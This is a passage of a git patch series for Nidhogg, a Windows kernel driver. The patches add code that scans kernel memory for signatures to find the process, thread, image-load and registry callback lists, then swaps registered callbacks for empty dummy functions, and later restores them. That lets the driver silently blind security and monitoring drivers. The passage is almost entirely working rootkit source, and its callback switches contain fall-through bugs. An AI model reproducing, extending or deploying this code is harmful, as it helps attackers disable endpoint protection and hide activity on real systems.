*(PULONG64)(currentRoutine) = ReplacerFunction; + } + else { + Callbacks->Routines[i].CallbackAddress = *(PULONG64)(currentRoutine); - if (NT_SUCCESS(MatchCallback((PVOID)Callbacks->Routines[i].CallbackAddress, driverName))) - strcpy_s(Callbacks->Routines[i].DriverName, driverName); + if (NT_SUCCESS(MatchCallback((PVOID)Callbacks->Routines[i].CallbackAddress, driverName))) + strcpy_s(Callbacks->Routines[i].DriverName, driverName); + } } + if (!ReplacedFunction && !ReplacerFunction) + Callbacks->NumberOfRoutines = routinesCount; + Cleanup: if (listCountSignature) ExFreePoolWithTag(listCountSignature, DRIVER_TAG); @@ -466,4 +505,36 @@ OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_P */ VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info) { return; +} + +/* +* Description: +* CreateProcessNotifyExDummyFunction is a dummy function for create process notify routine ex. +* +* Parameters: +* @Process [PEPROCESS] -- Unused. +* @ProcessId [HANDLE] -- Unused. +* @CreateInfo [PPS_CREATE_NOTIFY_INFO] -- Unused. +* +* Returns: +* There is no return value. +*/ +void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) { + return; +} + +/* +* Description: +* CreateProcessNotifyDummyFunction is a dummy function for create process notify routine. +* +* Parameters: +* @ParentId [HANDLE] -- Unused. +* @ProcessId [HANDLE] -- Unused. +* @Create [BOOLEAN] -- Unused. +* +* Returns: +* There is no return value. +*/ +void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create) { + return; } \ No newline at end of file diff --git a/Nidhogg/NidhoggDeviceControl.hpp b/Nidhogg/NidhoggDeviceControl.hpp index 8ffad51..f6e2214 100644 --- a/Nidhogg/NidhoggDeviceControl.hpp +++ b/Nidhogg/NidhoggDeviceControl.hpp @@ -1165,7 +1165,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { switch (data->Type) { case PsCreateProcessTypeEx: case PsCreateProcessType: { - status = ListPsNotifyRoutines(data); + status = ListPsNotifyRoutines(data, NULL, NULL); break; } default: @@ -1204,6 +1204,9 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { status = STATUS_INVALID_PARAMETER; } + if (!NT_SUCCESS(status)) + KdPrint((DRIVER_PREFIX "Failed to remove callback (0x%08X)\n", status)); + len += sizeof(KernelCallback); break; } @@ -1236,6 +1239,9 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { status = STATUS_INVALID_PARAMETER; } + if (!NT_SUCCESS(status)) + KdPrint((DRIVER_PREFIX "Failed to restore callback (0x%08X)\n", status)); + len += sizeof(KernelCallback); break; } From 90f0dcfadb27022e2d43c7c1bc7e377415935ba9 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Wed, 3 May 2023 23:12:36 +0300 Subject: [PATCH 3/9] Added thread and image loading callbacks handling --- Nidhogg/AntiAnalysis.hpp | 131 ++++++++++++++++++++++++++----- Nidhogg/NidhoggDeviceControl.hpp | 11 ++- Nidhogg/NidhoggUtils.h | 5 +- 3 files changed, 124 insertions(+), 23 deletions(-) diff --git a/Nidhogg/AntiAnalysis.hpp b/Nidhogg/AntiAnalysis.hpp index 5ddb2c4..93719df 100644 --- a/Nidhogg/AntiAnalysis.hpp +++ b/Nidhogg/AntiAnalysis.hpp @@ -2,13 +2,19 @@ #include "pch.h" constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC }; -constexpr UCHAR PspSetCreateProcessNotifyRoutineSignature[] = { 0xE8, 0xCC }; -constexpr UCHAR PspCreateProcessNotifyRoutineCountExSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; +constexpr UCHAR PspCreateThreadNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; +constexpr UCHAR PspLoadImageNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; +constexpr UCHAR CallFunctionSignature[] = { 0xE8, 0xCC }; +constexpr UCHAR PspArrayCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20; +constexpr SIZE_T PspSetCreateThreadNotifyRoutineSignatureDistance = 0xF; +constexpr SIZE_T PsSetLoadImageNotifyRoutineExDistance = 0xF; constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; +constexpr SIZE_T PspCreateThreadNotifyRoutineDistance = 0x9B; +constexpr SIZE_T PspLoadImageNotifyRoutineDistance = 0x10B; constexpr SIZE_T PsNotifyRoutinesRoutineOffset = 5; constexpr SIZE_T RoutinesListOffset = 7; -constexpr SIZE_T PsNotifyRoutinesRoutineCountOffsetEx = 0x7; +constexpr SIZE_T PspArrayCountOffset = 7; constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB; NTSTATUS RestoreCallback(KernelCallback* Callback); @@ -20,6 +26,8 @@ OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_P VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info); void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo); void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create); +void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create); +void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo); NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback); NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback); @@ -76,7 +84,8 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); } - else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx) { + else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx || + Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread) { PsRoutinesList routines{}; ULONG64 replacedFunction = 0; routines.Type = Callback->Type; @@ -86,6 +95,11 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { replacedFunction = (ULONG64)CreateProcessNotifyDummyFunction; case PsCreateProcessTypeEx: replacedFunction = (ULONG64)CreateProcessNotifyExDummyFunction; + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: + replacedFunction = (ULONG64)CreateThreadNotifyDummyFunction; + case PsImageLoadType: + replacedFunction = (ULONG64)LoadImageNotifyDummyFunction; } status = ListPsNotifyRoutines(&routines, Callback->CallbackAddress, replacedFunction); @@ -147,7 +161,9 @@ NTSTATUS RemoveCallback(KernelCallback* Callback) { ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); } - else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx) { + else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx || + Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread || + Callback->Type == PsImageLoadType) { PsRoutinesList routines{}; ULONG64 replacerFunction = 0; routines.Type = Callback->Type; @@ -157,6 +173,11 @@ NTSTATUS RemoveCallback(KernelCallback* Callback) { replacerFunction = (ULONG64)CreateProcessNotifyDummyFunction; case PsCreateProcessTypeEx: replacerFunction = (ULONG64)CreateProcessNotifyExDummyFunction; + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: + replacerFunction = (ULONG64)CreateThreadNotifyDummyFunction; + case PsImageLoadType: + replacerFunction = (ULONG64)LoadImageNotifyDummyFunction; } status = ListPsNotifyRoutines(&routines, replacerFunction, Callback->CallbackAddress); @@ -204,15 +225,6 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio switch (Callbacks->Type) { case PsCreateProcessTypeEx: case PsCreateProcessType: { - targetFunctionSigLen = sizeof(PspSetCreateProcessNotifyRoutineSignature); - targetFunctionSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, targetFunctionSigLen, DRIVER_TAG); - - if (!targetFunctionSignature) { - status = STATUS_INSUFFICIENT_RESOURCES; - break; - } - - RtlCopyMemory(targetFunctionSignature, PspSetCreateProcessNotifyRoutineSignature, targetFunctionSigLen); searchedRoutineAddress = (PVOID)PsSetCreateProcessNotifyRoutineEx; targetFunctionDistance = PspSetCreateProcessNotifyRoutineSignatureDistance; @@ -226,17 +238,41 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio RtlCopyMemory(listSignature, PspCreateProcessNotifyRoutineSignature, listSigLen); listDistance = PspCreateProcessNotifyRoutineDistance; + break; + } + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: + { + searchedRoutineAddress = (PVOID)PsSetCreateThreadNotifyRoutine; + targetFunctionDistance = PspSetCreateThreadNotifyRoutineSignatureDistance; - listCountSigLen = sizeof(PspCreateProcessNotifyRoutineCountExSignature); - listCountSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listCountSigLen, DRIVER_TAG); + listSigLen = sizeof(PspCreateThreadNotifyRoutineSignature); + listSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listSigLen, DRIVER_TAG); - if (!listCountSignature) { + if (!listSignature) { status = STATUS_INSUFFICIENT_RESOURCES; break; } - RtlCopyMemory(listCountSignature, PspCreateProcessNotifyRoutineCountExSignature, listCountSigLen); - countOffset = PsNotifyRoutinesRoutineCountOffsetEx; + RtlCopyMemory(listSignature, PspCreateThreadNotifyRoutineSignature, listSigLen); + listDistance = PspCreateThreadNotifyRoutineDistance; + break; + } + case PsImageLoadType: + { + searchedRoutineAddress = (PVOID)PsSetLoadImageNotifyRoutine; + targetFunctionDistance = PsSetLoadImageNotifyRoutineExDistance; + + listSigLen = sizeof(PspLoadImageNotifyRoutineSignature); + listSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listSigLen, DRIVER_TAG); + + if (!listSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + break; + } + + RtlCopyMemory(listSignature, PspLoadImageNotifyRoutineSignature, listSigLen); + listDistance = PspLoadImageNotifyRoutineDistance; break; } default: @@ -247,7 +283,25 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio if (!NT_SUCCESS(status)) goto Cleanup; - // Find offset of PspCreateProcessNotifyRoutine + targetFunctionSigLen = sizeof(CallFunctionSignature); + targetFunctionSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, targetFunctionSigLen, DRIVER_TAG); + + if (!targetFunctionSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(targetFunctionSignature, CallFunctionSignature, targetFunctionSigLen); + + listCountSigLen = sizeof(PspArrayCountSignature); + listCountSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listCountSigLen, DRIVER_TAG); + + if (!listCountSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(listCountSignature, PspArrayCountSignature, listCountSigLen); + countOffset = PspArrayCountOffset; + PLONG searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)targetFunctionSignature, 0xCC, targetFunctionSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, targetFunctionSigLen - 1); if (!searchedRoutineOffset) @@ -259,6 +313,7 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio if (!routinesListOffset) return STATUS_NOT_FOUND; + PUCHAR routinesList = (PUCHAR)searchedRoutineAddress + *(routinesListOffset) + foundIndex + RoutinesListOffset; PLONG routinesLengthOffset = (PLONG)FindPattern((PCUCHAR)listCountSignature, 0xCC, listCountSigLen - 1, searchedRoutineAddress, listDistance, &foundIndex, listCountSigLen - 1); @@ -268,7 +323,9 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio if (Callbacks->Type == PsCreateProcessType) countOffset = PsNotifyRoutinesRoutineCountOffset; - // Callbacks->NumberOfRoutines = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); + else if (Callbacks->Type == PsCreateThreadTypeNonSystemThread) + countOffset = PsNotifyRoutinesRoutineCountOffset; + ULONG routinesCount = *(PLONG)((PUCHAR)searchedRoutineAddress + *(routinesLengthOffset) + foundIndex + countOffset); for (SIZE_T i = 0; i < routinesCount; i++) { @@ -537,4 +594,36 @@ void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS */ void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create) { return; +} + +/* +* Description: +* CreateThreadNotifyDummyFunction is a dummy function for create thread notify routine. +* +* Parameters: +* @ProcessId [HANDLE] -- Unused. +* @ThreadId [HANDLE] -- Unused. +* @Create [BOOLEAN] -- Unused. +* +* Returns: +* There is no return value. +*/ +void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) { + return; +} + +/* +* Description: +* LoadImageNotifyDummyFunction is a dummy function for load image notify routine. +* +* Parameters: +* @FullImageName [PUNICODE_STRING] -- Unused. +* @ProcessId [HANDLE] -- Unused. +* @ImageInfo [PIMAGE_INFO] -- Unused. +* +* Returns: +* There is no return value. +*/ +void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { + return; } \ No newline at end of file diff --git a/Nidhogg/NidhoggDeviceControl.hpp b/Nidhogg/NidhoggDeviceControl.hpp index f6e2214..2bd7479 100644 --- a/Nidhogg/NidhoggDeviceControl.hpp +++ b/Nidhogg/NidhoggDeviceControl.hpp @@ -1163,8 +1163,11 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { auto data = (PsRoutinesList*)Irp->AssociatedIrp.SystemBuffer; switch (data->Type) { + case PsImageLoadType: case PsCreateProcessTypeEx: - case PsCreateProcessType: { + case PsCreateProcessType: + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: { status = ListPsNotifyRoutines(data, NULL, NULL); break; } @@ -1193,8 +1196,11 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { } switch (data->Type) { + case PsImageLoadType: case PsCreateProcessType: case PsCreateProcessTypeEx: + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: case ObProcessType: case ObThreadType: { status = RemoveCallback(data); @@ -1228,8 +1234,11 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { } switch (data->Type) { + case PsImageLoadType: case PsCreateProcessType: case PsCreateProcessTypeEx: + case PsCreateThreadType: + case PsCreateThreadTypeNonSystemThread: case ObProcessType: case ObThreadType: { status = RestoreCallback(data); diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index 3415fcf..3ec75cb 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -39,7 +39,10 @@ enum CallbackType { ObProcessType, ObThreadType, PsCreateProcessTypeEx, - PsCreateProcessType + PsCreateProcessType, + PsCreateThreadType, + PsCreateThreadTypeNonSystemThread, + PsImageLoadType }; struct KernelCallback { From c725ace283e32bb2733ad08ea9731738ae1aa95c Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sat, 6 May 2023 18:19:11 +0300 Subject: [PATCH 4/9] Added registry callbacks handling --- Nidhogg/AntiAnalysis.hpp | 252 +++++++++++++++++++++++++++---- Nidhogg/NidhoggDeviceControl.hpp | 26 +++- Nidhogg/NidhoggUtils.h | 14 +- Nidhogg/WindowsTypes.hpp | 9 ++ README.md | 5 +- 5 files changed, 273 insertions(+), 33 deletions(-) diff --git a/Nidhogg/AntiAnalysis.hpp b/Nidhogg/AntiAnalysis.hpp index 93719df..863156b 100644 --- a/Nidhogg/AntiAnalysis.hpp +++ b/Nidhogg/AntiAnalysis.hpp @@ -4,30 +4,41 @@ constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC }; constexpr UCHAR PspCreateThreadNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; constexpr UCHAR PspLoadImageNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC }; +constexpr UCHAR CallbackListHeadSignature[] = { 0x4C, 0x8D, 0xCC }; +constexpr UCHAR CmpCallbackListLockSignature[] = { 0x48, 0x8D, 0xCC }; +constexpr UCHAR CmpInsertCallbackInListByAltitudeSignature[] = { 0x8B, 0xCB, 0xE8, 0xCC }; constexpr UCHAR CallFunctionSignature[] = { 0xE8, 0xCC }; -constexpr UCHAR PspArrayCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; +constexpr UCHAR RoutinesListCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC }; +constexpr SIZE_T CallbackListHeadSignatureDistance = 0xC4; +constexpr SIZE_T CmpCallbackListLockSignatureDistance = 0x4A; +constexpr SIZE_T CmpInsertCallbackInListByAltitudeSignatureDistance = 0x108; +constexpr SIZE_T CmpRegisterCallbackInternalSignatureDistance = 0x22; constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20; constexpr SIZE_T PspSetCreateThreadNotifyRoutineSignatureDistance = 0xF; constexpr SIZE_T PsSetLoadImageNotifyRoutineExDistance = 0xF; constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3; constexpr SIZE_T PspCreateThreadNotifyRoutineDistance = 0x9B; constexpr SIZE_T PspLoadImageNotifyRoutineDistance = 0x10B; -constexpr SIZE_T PsNotifyRoutinesRoutineOffset = 5; +constexpr SIZE_T CallFunctionOffset = 5; +constexpr SIZE_T CmpInsertCallbackInListByAltitudeOffset = 7; +constexpr SIZE_T CmpCallbackListLockOffset = 7; +constexpr SIZE_T CallbacksListCountOffset = 3; constexpr SIZE_T RoutinesListOffset = 7; -constexpr SIZE_T PspArrayCountOffset = 7; constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB; NTSTATUS RestoreCallback(KernelCallback* Callback); NTSTATUS RemoveCallback(KernelCallback* Callback); NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks); NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction); +NTSTATUS ListRegistryCallbacks(CmCallbacksList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction); NTSTATUS MatchCallback(PVOID callack, CHAR driverName[MAX_DRIVER_PATH]); OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info); void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo); void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create); void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create); -void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo); +void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo); +NTSTATUS RegistryCallbackDummyFunction(PVOID CallbackContext, PVOID Argument1, PVOID Argument2); NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback); NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback); @@ -85,7 +96,7 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); } else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx || - Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread) { + Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread) { PsRoutinesList routines{}; ULONG64 replacedFunction = 0; routines.Type = Callback->Type; @@ -104,7 +115,13 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { status = ListPsNotifyRoutines(&routines, Callback->CallbackAddress, replacedFunction); } - + else if (Callback->Type == CmRegistryType) { + CmCallbacksList callbacks{}; + ULONG64 replacedFunction = (ULONG64)RegistryCallbackDummyFunction; + + status = ListRegistryCallbacks(&callbacks, Callback->CallbackAddress, replacedFunction); + } + return status; } @@ -121,7 +138,7 @@ NTSTATUS RestoreCallback(KernelCallback* Callback) { NTSTATUS RemoveCallback(KernelCallback* Callback) { DisabledKernelCallback callback{}; NTSTATUS status = STATUS_NOT_FOUND; - + if (Callback->Type == ObProcessType || Callback->Type == ObThreadType) { PFULL_OBJECT_TYPE objectType = NULL; ULONG64 operationAddress = 0; @@ -161,9 +178,9 @@ NTSTATUS RemoveCallback(KernelCallback* Callback) { ExReleasePushLockExclusive((PULONG_PTR)&objectType->TypeLock); } - else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx || - Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread || - Callback->Type == PsImageLoadType) { + else if (Callback->Type == PsCreateProcessType || Callback->Type == PsCreateProcessTypeEx || + Callback->Type == PsCreateThreadType || Callback->Type == PsCreateThreadTypeNonSystemThread || + Callback->Type == PsImageLoadType) { PsRoutinesList routines{}; ULONG64 replacerFunction = 0; routines.Type = Callback->Type; @@ -184,12 +201,171 @@ NTSTATUS RemoveCallback(KernelCallback* Callback) { callback.CallbackAddress = Callback->CallbackAddress; callback.Type = Callback->Type; } + else if (Callback->Type == CmRegistryType) { + CmCallbacksList callbacks{}; + ULONG64 replacerFunction = (ULONG64)RegistryCallbackDummyFunction; + + status = ListRegistryCallbacks(&callbacks, replacerFunction, Callback->CallbackAddress); + callback.CallbackAddress = Callback->CallbackAddress; + callback.Type = Callback->Type; + } if (NT_SUCCESS(status)) { AutoLock locker(aaGlobals.Lock); status = AddDisabledCallback(callback); } + + return status; +} + +/* +* Description: +* ListRegistryCallbacks is responsible to list all registered registry callbacks. +* +* Parameters: +* @Callbacks [CallbacksList*] -- All callbacks as list. +* @ReplacerFunction [ULONG64] -- If not null, the address of the function to replace. +* @ReplacedFunction [ULONG64] -- If not null, the address of the function to be replaced. +* +* Returns: +* @status [NTSTATUS] -- Whether successfuly listed or not. +*/ +NTSTATUS ListRegistryCallbacks(CmCallbacksList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction) { + NTSTATUS status = STATUS_SUCCESS; + UCHAR* listHeadSignature = NULL; + UCHAR* listHeadCountSignature = NULL; + UCHAR* callbacksListLockSignature = NULL; + UCHAR* mainFunctionSignature = NULL; + PCM_CALLBACK currentCallback = NULL; + ULONG foundIndex = 0; + CHAR driverName[MAX_DRIVER_PATH] = { 0 }; + + // Find CmpRegisterCallbackInternal. + SIZE_T targetFunctionSigLen = sizeof(CallFunctionSignature); + UCHAR* targetFunctionSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, targetFunctionSigLen, DRIVER_TAG); + + if (!targetFunctionSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(targetFunctionSignature, CallFunctionSignature, targetFunctionSigLen); + + PVOID searchedRoutineAddress = (PVOID)CmRegisterCallback; + SIZE_T targetFunctionDistance = CmpRegisterCallbackInternalSignatureDistance; + + PLONG searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)targetFunctionSignature, 0xCC, targetFunctionSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, targetFunctionSigLen - 1); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + + // Find the function that holds the valuable information: CmpInsertCallbackInListByAltitude. + searchedRoutineAddress = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + CallFunctionOffset; + targetFunctionSigLen = sizeof(CmpInsertCallbackInListByAltitudeSignature); + mainFunctionSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, targetFunctionSigLen, DRIVER_TAG); + + if (!mainFunctionSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(mainFunctionSignature, CmpInsertCallbackInListByAltitudeSignature, targetFunctionSigLen); + targetFunctionDistance = CmpInsertCallbackInListByAltitudeSignatureDistance; + + searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)mainFunctionSignature, 0xCC, targetFunctionSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, targetFunctionSigLen - 1); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + searchedRoutineAddress = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + CmpInsertCallbackInListByAltitudeOffset; + + // Get CallbackListHead and CmpCallBackCount. + SIZE_T listHeadSignatureLen = sizeof(CallbackListHeadSignature); + targetFunctionDistance = CallbackListHeadSignatureDistance; + listHeadSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listHeadSignatureLen, DRIVER_TAG); + + if (!listHeadSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(listHeadSignature, CallbackListHeadSignature, listHeadSignatureLen); + + SIZE_T listHeadCountSignatureLen = sizeof(RoutinesListCountSignature); + listHeadCountSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, listHeadCountSignatureLen, DRIVER_TAG); + + if (!listHeadCountSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(listHeadCountSignature, RoutinesListCountSignature, listHeadCountSignatureLen); + + searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)listHeadSignature, 0xCC, listHeadSignatureLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, listHeadSignatureLen); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + PUCHAR callbacksList = (PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + RoutinesListOffset; + + searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)listHeadCountSignature, 0xCC, listHeadCountSignatureLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, listHeadCountSignatureLen - 1); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + ULONG callbacksListCount = *(PLONG)((PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + CallbacksListCountOffset); + + // Get CmpCallbackListLock. + SIZE_T callbacksListLockSignatureLen = sizeof(CmpCallbackListLockSignature); + callbacksListLockSignature = (UCHAR*)ExAllocatePoolWithTag(PagedPool, callbacksListLockSignatureLen, DRIVER_TAG); + + if (!callbacksListLockSignature) { + status = STATUS_INSUFFICIENT_RESOURCES; + goto Cleanup; + } + RtlCopyMemory(callbacksListLockSignature, CmpCallbackListLockSignature, callbacksListLockSignatureLen); + + searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)callbacksListLockSignature, 0xCC, callbacksListLockSignatureLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, callbacksListLockSignatureLen - 1); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + ULONG_PTR callbackListLock = (ULONG_PTR)((PUCHAR)searchedRoutineAddress + *(searchedRoutineOffset) + foundIndex + CmpCallbackListLockOffset); + + ExAcquirePushLockExclusiveEx(&callbackListLock, 0); + currentCallback = (PCM_CALLBACK)callbacksList; + + for (ULONG i = 0; i < callbacksListCount; i++) { + if (ReplacedFunction && ReplacerFunction) { + if (currentCallback->Function == ReplacedFunction) + currentCallback->Function = ReplacerFunction; + } + else { + Callbacks->Callbacks[i].CallbackAddress = (ULONG64)currentCallback->Function; + Callbacks->Callbacks[i].Context = currentCallback->Context; + + if (NT_SUCCESS(MatchCallback((PVOID)Callbacks->Callbacks[i].CallbackAddress, driverName))) + strcpy_s(Callbacks->Callbacks[i].DriverName, driverName); + } + currentCallback = (PCM_CALLBACK)currentCallback->List.Flink; + } + ExReleasePushLockExclusiveEx(&callbackListLock, 0); + + if (!ReplacedFunction && !ReplacerFunction) + Callbacks->NumberOfCallbacks = callbacksListCount; + +Cleanup: + if (callbacksListLockSignature) + ExFreePoolWithTag(callbacksListLockSignature, DRIVER_TAG); + if (listHeadCountSignature) + ExFreePoolWithTag(listHeadCountSignature, DRIVER_TAG); + if (listHeadSignature) + ExFreePoolWithTag(listHeadSignature, DRIVER_TAG); + if (targetFunctionSignature) + ExFreePoolWithTag(targetFunctionSignature, DRIVER_TAG); return status; } @@ -219,7 +395,7 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio SIZE_T listCountSigLen = 0; SIZE_T countOffset = 0; ULONG64 currentRoutine = 0; - + CHAR driverName[MAX_DRIVER_PATH] = { 0 }; switch (Callbacks->Type) { @@ -292,41 +468,47 @@ NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunctio } RtlCopyMemory(targetFunctionSignature, CallFunctionSignature, 